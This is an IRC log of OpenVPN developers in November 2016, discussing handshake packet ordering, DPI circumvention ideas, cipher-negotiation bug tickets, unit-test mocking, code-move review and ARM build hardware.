<@dazo> hehe 17:20 <@syzzer> hm, doesn't look like llvm is right here... will need to check this out another time, a bit earlier on the day. 17:25 <@dazo> :) 17:33 <@syzzer> ah, I should have used -fsanitize=address 17:34 <@syzzer> (-fsanitize=memory requires all libs to be instrumented to, and gives bogus output otherwise...) 17:38 <@syzzer> enough for today - good night everyone :) 17:38 <@dazo> gnight! --- Day changed Sat Nov 05 2016 06:12 < ValdikSS> Sup guys. If I add huge fragmentation support for first control packets to the OpenVPN, would it be accepted? 06:12 < ValdikSS> It's useful for DPI bypassing. 09:18 <@plaisthos> ValdikSS: syzzer is also doing something similar 09:19 <@plaisthos> implementing tls record splitting 09:19 <@plaisthos> also depends on how it is implemented and if it is useful for other scenarios 09:20 <@plaisthos> a "is useful for a year since it can bypass dpi but has to be maintained forever" solution is not something desirable 09:44 < ValdikSS> plaisthos: I agree with you 09:45 < ValdikSS> plaisthos: Currently I'm trying to circumvent DPI only on server side by fragmenting control packets and disabling client certificate requirement with only login/password auth 09:45 < ValdikSS> plaisthos: that way you don't need to modify clients, only server side. 09:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 10:25 < slypknot> One For James Johan: Spammers now using jamesjohan493@gmail.com (Joan Maclean) BANNED ! :D 10:26 < slypknot> https://forums.openvpn.net/viewtopic.php?f=10&t=20070#p65446 10:26 <@vpnHelper> Title: OpenVPN for linux - OpenVPN Support Forum (at forums.openvpn.net) 11:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:12 < ValdikSS> cron2: OpenVPN v3 has difference in handshake. It sends P_CONTROL_V1 right after SERVER_HARD_RESET while 2.4 sends P_ACK_V1 13:16 < ValdikSS> cron2: also OpenVPN 2.4 sets TLS 1.0 in SSL header and 1.2 in Client Hello handshake, while v3 sets 1.2 to both. 16:31 * cron2 has no idea about the openssl wire protocol... that's for syzzer, dazo and plaisthos 16:55 < ValdikSS> syzzer: dazo: plaisthos: if I want to send CLIENT_HARD_RESET second time right after ACK for SERVER_HARD_RESET, where do I modify the code? 16:56 < danhunsaker> As far as version headers, those *should* all say 1.2 until >1.2 is available. So that's a definite bug. 16:57 < danhunsaker> Possible exception being backwards-compatibility with pre-TLS/1.2 clients, but I don't think any of those are supported anymore. 17:07 <@plaisthos> ValdikSS: that might be also mbedtls vs polarssl 22:37 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 245 seconds] 22:39 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 22:39 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Sun Nov 06 2016 05:38 <@plaisthos> ValdikSS: that probably hidden in the ssl reliability layer of openvpn 05:38 <@plaisthos> should be ssl.c 14:26 < slypknot> http://www.softether.org/ 14:26 <@vpnHelper> Title: SoftEther VPN Open Source - SoftEther VPN Project (at www.softether.org) 14:26 < slypknot> quote: 14:26 < slypknot> OpenVPN vs. SoftEther VPN 14:26 < slypknot> Popular Question: What is the advantage of SoftEther VPN to OpenVPN? 14:26 < slypknot> Obviously, OpenVPN is an excellent tool. However, the development of OpenVPN has been stalled for many years. And as you know OpenVPN has no significant improvement in recent years. 14:26 < slypknot> "/quote 14:28 < slypknot> outrageous ! 14:30 <@cron2> yeah. Every new VPN package has to point out that they are a) more agile, b) more secure and c) faster than OpenVPN 14:31 <@cron2> and then they discover that their stuff doesn't work on anything but Linux, and getting the portability means taking the same maintenance impact... 14:31 < slypknot> send in the internet lawyets ! 14:31 < slypknot> lawyers ! 14:31 < Thermi> Send in the tomahawk cruise missiles 14:32 <@cron2> just smile, and wait for them to find out... 14:32 < slypknot> lol 14:32 <@cron2> we're not paid for this, why should we care? :-) 14:32 < slypknot> in that case is it ok if I post something equally as flametory in response to this: 14:32 < Thermi> softether doesn't even support IKE/IPsec completely 14:32 < slypknot> https://forums.openvpn.net/viewtopic.php?f=1&t=22760 14:32 <@vpnHelper> Title: can't connect softether server.. - OpenVPN Support Forum (at forums.openvpn.net) 14:33 < Thermi> It's just something a couple of people put together with minimal usage information to cover all use cases 14:33 < slypknot> or would somebody here like to take them out with a well placed SCUD ! 14:33 < Thermi> SCUDs are very inaccurate. 14:33 < Thermi> Give me a good sniper rifle and the only damage will be a hole in a window and a blood splatter on a wall. 14:33 < slypknot> take your best shot :-) 14:34 < slypknot> right between the eyes 14:34 < Thermi> I'd be so enraged by such a forum post, I'd just ban that user. 14:34 < slypknot> me2 14:34 < Thermi> no information and that person even uses other people's software 14:35 < Thermi> kick in the nuts over TCP/IP. 14:35 < slypknot> it was moved to OffTopic 14:35 < slypknot> it was in access server ! 14:36 < Thermi> Don't you have a trashbin subforum? 14:36 < Thermi> For all the crap threads with insufficient information, wrong usage, just PEBKAC or spam. 14:37 < slypknot> if only .. 14:37 < slypknot> trouble is it would be full ! 14:53 < ValdikSS> Good evening. I have an interesting question for you guys. Imagine I have a NFQUEUE code which sets TCP window size in TCP header to 8, nothing more. It works correctly (like the client sends first packet of 8 bytes max) if openvpn listens to tcp but it doesn't work if openvpn listens to tcp6, even that on the client side the packets are almost identical (i.e. window size correctly sets to 8). 14:54 < ValdikSS> And I have no idea why doesn't it work and what happens. 14:58 < ValdikSS> wait, what? 14:59 < ValdikSS> OpenVPN with proto tcp on the server side, SYN, SYN/ACK, ACK, client sends HARD_RESET_CLIENT_V2. 14:59 < ValdikSS> OpenVPN with proto tcp6, SYN, SYN/ACK, ACK, and right after ACK server sends HARD_RESET_SERVER_V2. 14:59 < ValdikSS> Is this intended? 15:00 < ValdikSS> To make things clear: proto tcp on server and server waits for client's HARD_RESET_CLIENT_V2, proto tcp6 on server and server sends HARD_RESET_SERVER_V2 first. 15:02 < ValdikSS> (2.3.12, can't test in newer version right now) --- Day changed Mon Nov 07 2016 02:26 <@syzzer> ValdikSS: re TLS 1.0/1.2 TLS client/serverhello versions, this is very likely due to openssl vs mbed TLS, as plaisthos already suggested 02:27 <@syzzer> you do negotiate TLS 1.2 in the end, right? Then both are fine. 02:28 <@syzzer> ValdikSS: re CLIENT/SERVER_HARD_RESET ordering: what is you motivation to change that? Bypassing DPI will only work briefly... 02:29 <@syzzer> ValdikSS: and finally, thanks for testing the tls-crypt branch, I'll look into TCP mode. (You got me there, I usually only test with UDP locally, and --tls-crypt is not exercies by t_client yet.) 02:44 <@syzzer> intersting, we should consider this: https://github.com/google/oss-fuzz 02:44 <@vpnHelper> Title: GitHub - google/oss-fuzz: Continuous Fuzzing of Open Source Software (at github.com) 02:48 < ValdikSS> syzzer: >CLIENT/SERVER_HARD_RESET ordering: what is you motivation to change that? 02:49 < ValdikSS> syzzer: I don't want to change that anymore, but difference between tcp/tcp6 is more interesting. 02:50 < ValdikSS> syzzer: TLS 1.0/1.2 difference is just a thinking out loud. Spotted the difference and decided to write here. 02:50 < ValdikSS> (I've managed to circumvent DPI without tls-crypt and without changing client side) 02:53 <@cron2> tcp/tcp6? 02:54 <@cron2> "tcp" (in 2.4) will do "v4 or v6, what succeeds" while tcp6 will force v6 02:59 < ValdikSS> cron2: > 02:59 < ValdikSS> To make things clear: proto tcp on server and server waits for client's HARD_RESET_CLIENT_V2, proto tcp6 on server and server sends HARD_RESET_SERVER_V2 first. 02:59 < ValdikSS> [23:56] <ValdikSS> (2.3.12, can't test in newer version right now) 03:11 <@syzzer> protocol-wise that should be identical, I think 03:11 <@syzzer> so it shouldn't really matter 03:16 <@syzzer> (both client and server are allowed to send a hard reset, the other should confirm and then the openvpn handshake starts) 03:31 <@cron2> what plaisthos says - this might just be timing differences or coincidence 03:31 <@cron2> the SSL code doesn't know whether it's tcp or tcp6 03:56 < ValdikSS> cron2: it's reproducible 100% for me 03:56 <@cron2> there might be higher latency on the ipv6 path, leading to timing differences 03:56 <@cron2> (or lower) 03:59 < ValdikSS> cron2: I'm testing on a network with 100+ms ping. 03:59 < ValdikSS> cron2: and changing tcp/tcp6 only on server side. Client always uses IPv4 with tcp. 03:59 * cron2 has seen networks where v4 was 100ms and v6 was 250ms, or vice versa 04:00 <@cron2> well, you did not say *that* 04:00 <@cron2> in this case I'm very curious what you'll find the reason to be 04:00 <@cron2> mattock: your community VPN server still stinks 04:00 <@cron2> Nov 7 10:55:06 fbsd93 openvpn[93125]: WARNING: cipher with small block size in use, reducing reneg-bytes to 64MB to mitigate SWEET32 attacks. 04:04 <@mattock> cron2: yes 04:08 <@plaisthos> hehe 04:16 <@mattock> cron2: I'll look into that now, it just seems that I'm being pulled into all kinds of unforeseeable directions at the moment 04:16 <@mattock> the fix should be trivial though 04:19 <@dazo> ValdikSS: AFAIR, there are no guarantees that the client should sent HARD_RESET_CLIENT_V2 first ... but it is needed that both server and clients sends a hard reset when starting up, to initiate the key exchange process 04:20 < ValdikSS> dazo: well, it's 100% reproducible. In my case (for DPI circumvention) client should send RESET first. 04:21 <@cron2> mattock: "pkg upgrade openvpn-devel && openvpn restart" :-) 04:22 <@dazo> ValdikSS: doesn't really matter ... it only indicates that _you_ have a stable environment, it doesn't mean it will happen like that in a different net 04:22 <@dazo> The protocol does not mandate that client should send the hard reset first. And that should not change. 04:25 < ValdikSS> dazo: no it does. I tried different client and server OpenVPN versions on different dedicated servers from different locations. 04:25 < ValdikSS> dazo: It's not about network latency or something. 04:26 < ValdikSS> dazo: Try it. Record pcap with proto tcp/tcp6 on server side, while client set to tcp (for IPv4). 04:26 <@dazo> And I repeat: The protocol does not mandate that client should send the hard reset first. And that should not change. 04:27 < ValdikSS> dazo: I perfectly understand this. I just wondering why there are difference in RESET order with protocol change. 04:27 <@d12fk> syzzer: what's left to do with the ntlm patch? 04:27 <@syzzer> d12fk: I did a review, that should be processed and then it should be tested 04:27 <@mattock> cron2: the community VPN server has 2.4_alpha2 now 04:27 <@dazo> ValdikSS: what cron2 and plaisthos have already said 04:28 <@syzzer> I also have a types cleanup patch as a follow-up waiting, but don't have the test environment (Windows servers...) 04:28 <@d12fk> syzzer: i think the testing part is the problem. we do not have a ntlm proxy setup anymore 04:29 <@syzzer> yeah, I remember you saying that you guys would probably build such a setup anyway 04:32 <@cron2> mattock: whee! 04:32 <@cron2> though I notice that my client is stupid... 04:32 <@cron2> Mon Nov 7 11:23:59 2016 Data Channel Decrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 04:32 <@cron2> Mon Nov 7 11:23:59 2016 Preserving previous TUN/TAP instance: tun0 04:32 <@cron2> Mon Nov 7 11:23:59 2016 NOTE: Pulled options changed on restart, will need to close and reopen TUN/TAP device. 04:32 <@cron2> Mon Nov 7 11:23:59 2016 /bin/route del -net 10.177.36.0 netmask 255.255.255.0 04:32 <@cron2> SIOCDELRT: Operation not permitted 04:33 <@cron2> Mon Nov 7 11:23:59 2016 ERROR: Linux route delete command failed: external program exited with error status: 7 04:33 <@cron2> (it downgraded permissions, now it can't re-init the tun/tap - it should not have to, since cipher is not tun/tap relevant) 04:33 <@dazo> cron2: missing --persist-tun ? 04:34 <@syzzer> ah, interesting fall-out from NCP 04:34 <@syzzer> I thought about this when lev__ sent his 'ignore peer-id in options' patch 04:35 <@syzzer> but have forgotten in the mean time... 04:36 <@cron2> dazo: it has persist-tun, but "pulled options changed" 04:36 <@cron2> syzzer: do you want a trac ticket? Unfortunately I cannot check before/after as the previous PUSH_REPLY has been rotated away 04:36 <@dazo> ahh, right ... based on syzzer NCP comment, I see this is something else 04:37 <@cron2> mattock: is the server using ifconfig-pool-persist? 04:38 <@syzzer> cron2: yes, trac ticket please :) 04:39 <@cron2> #761 04:39 <@vpnHelper> RSS Update - tickets: #761: cipher change should not lead to tun/tap reopen <https://community.openvpn.net/openvpn/ticket/761> 04:42 <@cron2> syzzer: I think we want a flag in the "[LZO] [LZ4]..." log line that tells whether we have AEAD or not... 04:42 <@mattock> cron2: probably not, checking 04:42 <@dazo> +1 to [AEAD] 04:42 <@cron2> my freebsd 9.x client is built with openssl 0.9.8<something> and refuses to do NCP... 04:42 <@mattock> oh yes it is 04:43 <@cron2> mattock: ok, in that case, it's just our client that is stupid :) (it logs "ifconfig values have changed" but they haven't) 04:45 <@cron2> heh, first trac ticket opened against 2.4_alpha2 04:45 <@mattock> "ifconfig-pool-persist community-ipp.txt" 04:46 <@cron2> good, so it's really only --cipher 04:46 <@vpnHelper> RSS Update - tickets: #762: want [AEAD] notice in log <https://community.openvpn.net/openvpn/ticket/762> 04:46 <@mattock> it is nice that the openvpn ldap auth plugin did not explode due to the upgrade 04:47 <@cron2> we haven't let anyone near the plugin API :) 04:49 <@cron2> I won't object to removing [IPv6] from the options line, in exchange :-) 04:51 <@dazo> can we disable IPv6 in todays code? I don't recall any --disable-ipv6 stuff 04:51 <@cron2> it is not conditional 04:51 <@cron2> removing :) 04:51 <@dazo> then we should remove it :) 04:51 <@cron2> working on it... 04:51 <@dazo> thx! 04:53 <@cron2> OpenVPN 2.4_alpha2 [git:trac762/8215b7a873400b85+] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Nov 7 2016 04:54 <@dazo> looks reasonable 04:54 <@syzzer> ValdikSS: found the bug with tls-crypt + TCP, will push an updated branch later today 04:56 <@cron2> patch pending greylist @ sourceforge 04:56 < ValdikSS> syzzer: great, would be even better if you merge it on top of current master. 04:56 < lev__> trac 761 - we just need to add "cipher" here, right? https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/push.c#L647 04:56 <@vpnHelper> Title: openvpn/push.c at master · OpenVPN/openvpn · GitHub (at github.com) 04:56 <@syzzer> cron2: yes, I think [AEAD] makes sense 04:57 <@cron2> lev__: I have not looked more deeply into the code, but yes, sounds like it 04:57 <@syzzer> lev__: there are more subtleties 04:57 <@syzzer> for example. a different cipher will cause a different tun-mtu if link-mtu is set in the config 04:58 <@syzzer> but we can only ever handle that client-side 04:58 <@syzzer> so it might not make sense to support ncp + link-mtu at all 04:58 < lev__> that escalated quickly :( 04:58 <@cron2> mmmh, what 04:58 <@cron2> fbsd84.ov$ Nov 7 11:53:05 fbsd84 openvpn[68003]: library versions: OpenSSL 0.9.8zd-freebsd 8 Jan 2015, LZO 2.09 04:58 <@syzzer> I see this ticket as the chance to think about what combinations we should allow and which not 04:59 <@cron2> I told that <censored> to build with mbedtls 04:59 <@syzzer> well, that didn't work out :') 04:59 <@d12fk> syzzer: we wanted a automated test for it, but it never happened so far 05:00 <@cron2> ecrist: *complain* 05:09 <@cron2> Testing cipher AES-256-GCM... OK 05:09 <@cron2> getting close :) 05:10 < diizzy> cron2: 8.4... that old and unsupported 05:11 <@cron2> diizzy: true - this and the 7.4 box are basically sanity checks for "old bsd versions", not used for anything real 05:12 <@cron2> (and if we happen to break OpenVPN there, it's the way XP ended - it will be documented, and done) 05:12 <@cron2> Nov 7 12:07:06 fbsd84 openvpn[475]: TLS_ERROR: read tls_read_plaintext error: X509 - Certificate verification failed, e.g. CRL, CA or signature check failed 05:12 <@cron2> sheesh 05:12 <@cron2> mbedtls does not like mattock's certificates 05:14 <@mattock> interesting 05:15 <@cron2> RSA certs <2048 bit, I assume :) 05:15 <@mattock> could be 05:15 <@mattock> they're pretty old 05:17 <@cron2> patch for trac#762 on the list :) 05:17 <@cron2> trivial way to bump my commit count! 05:21 <@cron2> Nov 7 12:15:52 fbsd84 openvpn[29256]: Data Channel Encrypt: Cipher 'AES-256-GCM' initialized with 256 bit key 05:21 <@cron2> so! 05:22 <@cron2> now feeding $wife... otherwise my hacking permission will be removed... 05:24 <@mattock> hungry wife is no good 05:27 < diizzy> cron2: If I'm not mistaken, mbedtls 2.x support is in 2.4 but not in the 2.3 branch? 05:29 <@plaisthos> that is question for syzzer actually 05:31 < diizzy> my bad 05:31 < diizzy> sorry 05:35 <@syzzer> diizzy: correct. 2.3 is still on 1.3. (though we might need to update that some time soon, 1.3 is going EOL by the end of this year iirc.) 05:42 < diizzy> syzzer: done any benchmarks, if there's a difference in speed? 05:44 <@plaisthos> openssl is proabably faster than mbedTLS 05:44 <@plaisthos> openssl pretty speed optimized 05:46 <@syzzer> diizzy: yeah, in terms of throughput 2.x was slightly faster than 1.3, but the differene was very small 05:46 <@syzzer> I didn't investigate connection setup times 05:46 <@syzzer> openssl is definitely faster 05:50 <@cron2> diizzy: I'm not using 2.3 on my machines, so the question is slightly moot :-) 05:54 <@vpnHelper> RSS Update - gitrepo: openvpn version line: remove [IPv6], add [AEAD] if available <https://github.com/OpenVPN/openvpn/commit/2391a3ab08227a061a7f561e26b9688f6ba80e70> 06:10 < diizzy> cron2: it's only interesting on low end devices (mips mainly) where space can be an issue 06:12 <@cron2> which reminds me I wanted to go shop a few PI3 to build ARM buildslaves :) 06:13 < diizzy> I would probably avoid pi-series as they're really slow and storage is dodgy in general apparently 06:13 < diizzy> the network also hangs off usb which doesn't really help 06:15 < diizzy> I wonder how well the allwinner H2/H3 cpus holds up to broadcom soc 06:17 < diizzy> http://www.cnx-software.com/2016/04/02/low-cost-development-boards-linux-benchmarks-raspberry-pi-vs-banana-pi-vs-orange-pi-vs-odroid/ 06:17 <@dazo> I just received this one on Saturday https://omnia.turris.cz/en/ .... haven't had time to test it out yet, but will do so soonish 06:17 <@vpnHelper> Title: Turris Omnia (at omnia.turris.cz) 06:18 < diizzy> dazo: looks like a pretty nice device, barebone board price wasn't bad but the whole device ended up quite expensive 06:18 <@dazo> yeah ... I notice the price almost doubled when going through distributors 06:19 * dazo was part of the kickstarter campaign and got it for ~160USD, IIRC 06:24 <@cron2> diizzy: well, I want a cheap ARM thingie which works on FreeBSD - speed is really not that much of an issue here ("compile openvpn, run test" - doesn't really matter of that takes 10 or 30 minutes) 06:25 <@cron2> PI* is widespread enough that OS support is fairly reasonable... most of the "even more niche" boxes will run some sort of Linux, but no BSDs 06:28 < slypknot> you can run Pi in qemu 06:29 < slypknot> cron2: quick Q. re this comment "we've 06:29 < slypknot> decided that we are not worrying yet about AES-256-GCM being broken. 06:30 <@syzzer> slypknot: yes, but that will be slower than a Pi3, no? 06:30 < slypknot> do you have a source i can read .. google has not yeilded much so far 06:31 < slypknot> syzzer: i imagine it would depend on the host ? 06:31 <@syzzer> slypknot: he's not saying that AES-GCM is broken - though I can understand that you read it that way. 06:31 <@cron2> slyknot: well, there is nothing to worry, so we don't 06:32 <@syzzer> slypknot: sure, but emulation is pretty slow in general. virtualization is fast, but emulation is not. 06:32 <@cron2> some time in the future, we might start to worry how to migrate away from AES, which our *current* NCP framework does not permit without changing all client configs AGAIN 06:32 <@cron2> plaisthos: your buildbot... 06:33 < slypknot> syzzer: sure, it was just a suggestion to get a pi up and test it 06:37 < diizzy> cron2: rpi3 works kinda poorly, you're most likely better off with a nanopi neo which recieves more love 06:37 < diizzy> http://www.friendlyarm.com/index.php?route=product/product&product_id=132 06:37 <@vpnHelper> Title: NanoPi NEO (at www.friendlyarm.com) 06:38 < diizzy> but I'd suggest asking about that in #freebsd-mips (despite it's name) on efnet 06:38 <@cron2> whatever *that* is, and where to get it... 06:39 <@cron2> but certainly looks interesting :) 06:40 <@cron2> as far as I understand, PI3 is supported in FreeBSD-11 06:43 < diizzy> cron2: quite sure it's not 06:43 < diizzy> https://wiki.freebsd.org/arm64/rpi3 06:43 <@vpnHelper> Title: arm64/rpi3 - FreeBSD Wiki (at wiki.freebsd.org) 06:44 < diizzy> ftp://ftp.freebsd.org/pub/FreeBSD/releases/ISO-IMAGES/11.0/ 06:44 < diizzy> nope 06:44 <@cron2> well, not in RELEASE, right. But indeed this looks a bit raw 06:44 <@cron2> so how's NanoPI support? 06:44 < diizzy> you need to run head/trunk (-CURRENT) on pretty much all ARM-platform 06:45 < diizzy> cron2: https://wiki.freebsd.org/FreeBSD/arm/Allwinner#FreeBSD.2Farm.2FAllwinner.2FH3.H3_Supported_Boards 06:45 <@vpnHelper> Title: FreeBSD/arm/Allwinner - FreeBSD Wiki (at wiki.freebsd.org) 06:45 < diizzy> afaik pretty good on -HEAD 06:46 <@cron2> not arm64? 06:46 < diizzy> no, it's not arm64 06:46 < diizzy> it's still pretty much wip 06:46 < diizzy> I think cavium arm64 socs works pretty well but uhm... kinda different pricerange ;-) 06:46 <@cron2> ok... need to think :) 06:47 < diizzy> I don't think rpi3 uses arm64 on linux 06:47 < diizzy> unless that changed recently 06:48 < diizzy> https://wiki.ubuntu.com/ARM/RaspberryPi/RaspberryPi3 06:48 <@vpnHelper> Title: ARM/RaspberryPi/RaspberryPi3 - Ubuntu Wiki (at wiki.ubuntu.com) 06:48 < diizzy> top section 06:50 < diizzy> hahahaha 06:50 < diizzy> https://wiki.gentoo.org/wiki/Raspberry_Pi 06:50 <@vpnHelper> Title: Raspberry Pi - Gentoo Wiki (at wiki.gentoo.org) 06:50 < diizzy> "Proceeding down the 64-bit path may enter a world of pain.[4] Many things (such as Firefox[5]) may not work at all. Other things have issues but function (wifi)[6][7]." 06:50 < diizzy> sounds reassuring :) 06:50 <@cron2> firefox is known to break on anything that's not i386/amd64, so I'm not really caring :-) 06:51 <@cron2> (I've used NetBSD/Sparc64 for a long time, and the firefox explosions were always fun to watch) 06:51 < diizzy> cron2: that said, arm64 support seems to be wip on pretty much all platforms for now 06:51 < diizzy> you might get away with the marvell socs if you use their kernel tree 06:53 <@cron2> the nanopi has this nice stacking case which I like... need to find a european distributor, us shipping is too much hassles (customs!) 06:54 < diizzy> cron2: I doubt it'll get stuck in customs given the price 06:54 <@cron2> you don't know german customs officers... (and there is always VAT to be paid on import) 06:56 < diizzy> cron2: I don't remeber the exact value but somewhere around 20 EUR and below is excluded from VAT and customs here in Sweden 06:56 <@dazo> cron2: seen the CHIP? ... IIRC, its based on Allruner R8 ... https://getchip.com/pages/chip 06:56 <@vpnHelper> Title: Get C.H.I.P. and C.H.I.P. Pro - The Smarter Way to Build Smart Things (at getchip.com) 06:56 <@cron2> below 100 EUR is exempt from customs, but VAT always applies 06:57 <@cron2> and US shipping tends to be expensive as well, or sllllooowwww 06:58 < diizzy> cron2: allnet is listed as distrbutor in europe 06:58 <@cron2> *sigh* this isn't getting better... I tried buying from Allnet before, and they just ignored my requests 06:59 < diizzy> https://www.conrad.de/de/nanopi-neo-allwinner-512-mb-ohne-betriebssystem-1503819.html?hk=WW1&insert=U0&utm_source=idealo&utm_medium=deeplink&utm_content=dl_article&utm_campaign=pvgl&WT.mc_id=affiliate_zanox_produktdaten_preisvergleich_idealo&PubID=2189221&zanpid=2230691955443570688 06:59 <@vpnHelper> Title: NanoPi Neo-Allwinner 512 MB ohne Betriebssystem auf conrad.de bestellen | 001503819 (at www.conrad.de) 06:59 < diizzy> https://direkt.jacob.de/PC-Systeme/Single-Board-Computer/ALLNET-FriendlyARM-NanoPi-Friendly-NanoPi-Neo-artnr-3007748.html 06:59 <@vpnHelper> Title: ALLNET FriendlyARM NanoPi Neo Friendly_NanoPi_Neo (at direkt.jacob.de) 06:59 <@cron2> now that is cool :) 06:59 * dazo wonders what is cool :) 06:59 <@cron2> Conrad or Jacob 06:59 < diizzy> I've had good experience with jacob.de 06:59 <@cron2> conrad is a customer of ours, so money will flow back \o/ 07:00 <@syzzer> wow, an ethernet port with on arm chip on it! 07:00 <@dazo> lol :) yeah :) 07:00 <@cron2> syzzer: indeed :) 07:00 <@syzzer> quite funny device 07:01 < diizzy> fwiw, you most likely need a small heatsink for the soc 07:15 <@cron2> oh, there's a number of different NanoPIs - M1, M2, 2 Fire *scratch head* 07:16 < diizzy> --> neo.. 07:20 <@cron2> argh 07:20 <@cron2> shipping from friendlyarm.com for 2x neo with cases + PSU + GPS module ($97) is $74 extra 07:21 <@cron2> jacob.de and conrad.de do not have the nice cluster stacking case 08:02 <@cron2> syzzer: is "reneg-bytes 64m" global on server, or per-connection if the cipher sucks? 08:04 <@syzzer> cron2: should be per connection, and only if the cipher sucks 08:04 <@syzzer> yeah, I'm pretty sure it's per-connection 08:04 <@dazo> d12fk: you around? 08:04 <@syzzer> it's set in the per-connection struct tls-options 08:05 <@dazo> if it is in struct tls_options inside tls_multi or tls_session, it is per client 08:06 <@cron2> syzzer: that is cool 08:10 <@dazo> d12fk: who is calling __wrap_parse_line() in the unit test? 08:11 <@dazo> I see it is defined only one place, and that is the only place I can find the string "wrap_parse" .... but if I remove it, the test driver cannot be compiled due to this function missing 08:12 <@dazo> but looking at how that function it declared, it looks very much like openvpn based code 08:12 <@dazo> $ git grep wrap_parse 08:12 <@dazo> tests/unit_tests/openvpn/test_argv.c:__wrap_parse_line (const char *line, char **p, const int n, const char *file, 08:12 <@dazo> @$ 08:16 <@d12fk> dazo: jup here 08:17 <@dazo> d12fk: just trying to understand the __wrap stuff ... and I begin to wonder if there's some cmocka magic happening 08:17 <@d12fk> yes, that basically a mock function 08:17 <@d12fk> i mock to not have to link the rest of openvpn 08:18 <@d12fk> generally it is a target to not use any external "object" (here function) to be independant in you test 08:19 <@dazo> but ... where comes the need for parse_line() into this picture? 08:21 <@dazo> I see buffer.h is being pulled in ... which pulls in error.h and basic.h, but those are quite harmless - and doesn't call parse_line() 08:23 * dazo see a reference to LDFLAGS in the Makefile.am file though 08:23 <@d12fk> jup, it is a linker feature 08:24 <@d12fk> in the spirit of mock objects, really 08:24 <@dazo> that's fine ... I just want to understand why we need to depend on that function :) 08:24 <@d12fk> for adjust_power_of_2() is took a shortcut as you see 08:25 <@dazo> yeah 08:25 <@d12fk> parse line is for the config options where you have scripts and paramters 08:25 <@d12fk> %sc previously 08:26 <@dazo> ahhhhh! 08:26 <@d12fk> basically the string is parsed again 08:26 <@dazo> Now I catch it 08:26 <@d12fk> to give individual argvs 08:26 <@dazo> fair enough, we need that one then :) 08:26 <@d12fk> so i just mock a line here 08:26 <@dazo> yeah 08:28 * dazo obviously need to read-up on cmocka 08:28 <@dazo> thx, d12fk! 08:31 * dazo now ponders best how to verify the code move from misc.c to argv.c and detect unexpected changes .... 08:32 <@d12fk> well that's the point of the unit tests 08:33 <@d12fk> of course they could be incomplete 08:33 <@syzzer> dazo: git blame should be able to use heuristics to recognize moved lines 08:33 <@dazo> hmmm .... /me checks 08:34 <@dazo> otherwise, I'll copy-paste the functions from an older misc.c, preserve the order and do a diff ... that diff should be minimal 08:35 <@syzzer> ha, travis just warned me that I broke --disable-crypto again in my tls-crypt branch 08:37 <@dazo> d12fk: you're right that unit tests should catch much of this ... but it only tests what you told the unit test to test .... since argv is used quite many places, several of them are somewhat critical too, I prefer to have some extra checks ... I don't doubt your work, but just so neither of us can be caught red-handed later on 08:41 <@d12fk> no worries dazo, i don't take this personal. I was rather after improving the tests should i have missed anything. i think i covered the obvious cases though 08:42 <@dazo> absolutely! I think this unit test is quite good ... and good to have something which can be tested on a regular basis now 08:46 <@dazo> syzzer: thx! git blame -C -M did the trick! 08:46 <@dazo> it even detected some moves from buffer.c -> misc.c ... before it now went to argv.c 08:48 <@syzzer> yeah, it's quite amazing what it can do :) 08:48 <@cron2> syzzer: cool :) 08:58 <@d12fk> syzzer: that _is_ cool indeed 09:00 <@d12fk> even cooler with -w to ignore whitespace changes 09:00 <@dazo> yeah :) 09:01 <@dazo> d12fk: the only thing I think we're missing in the unit test ... is that argv_reset() is doing its job 09:01 <@dazo> otherwise the other functions are basically tested, either directly or indirectly 09:01 <@dazo> (valgrind didn't report any leaks though) 09:01 <@d12fk> but that is internal functionality, so it can only be tested implicitly 09:02 <@d12fk> iirc _reset is static 09:02 <@dazo> hmm .... argv_reset() is used all over the code 09:02 <@dazo> tun.c, mulit.c, options.c. route.c, plugin.c, init.c ..... 09:03 <@dazo> it was one function which was moved to static, and that's fine 09:03 <@d12fk> not after the last patch 09:03 <@dazo> ahhh ... I'm still at the first patch 09:03 <@d12fk> it's all moved into an internal gc 09:03 <@d12fk> and argv_reset becaomes argv_free 09:04 <@dazo> alright .... I'll step forward then and keep this in my mind 09:04 <@d12fk> tried to do one thing at a time to make reviewing easier 09:05 <@dazo> absolutely! And very happy for it .... I think this one is the biggest one, so it took a while to review it properly ... quite happy with patch 1/7! 09:05 <@dazo> oh ... need to head for the kindergarten 09:06 <@dazo> will be out now until meeting time .... hope I'll get $kid to sleep before that :) 09:07 <@d12fk> good luck =) 09:42 <@ecrist> cron2: I'll look into it. Is your entire ports tree up to date? 09:47 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Ping timeout: 250 seconds] 09:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 09:48 <@cron2> ecrist: I'd think so - portsnap fetch update is happy 09:49 <@cron2> ecrist: but if you tell me "8.4 can not do this, go away" this is an adequate answer 09:50 <@ecrist> No, I can't say that for certain. 09:50 <@ecrist> I'll spin up a VM with 8.4 tonight and see if I can track down the issue. 09:50 <@cron2> thanks :) 09:50 <@ecrist> If anything, the port build should throw an error, and not blindly continue on. 09:52 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 09:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:11 <@cron2> this I would agree to :) 10:56 <@mattock> any takers for my patch: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12900.html 10:56 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Prevent generation of duplicate EXPECT_IFCONFIG entries (at www.mail-archive.com) 10:56 <@mattock> would be nice to get it in, so that I can close one long-lasting task for good 11:14 < slypknot> mattock: I can test that for you :) 11:32 <@mattock> ok, great! 11:33 <@mattock> is there enough info in the patch to do it? 11:33 <@mattock> if not, let me know 11:33 <@mattock> I also intend to implement the FPING_EXTRA_ARGS parameter soon, so that your buildslaves don't error out so easily 11:34 <@mattock> it should be a fairly trivial change 11:35 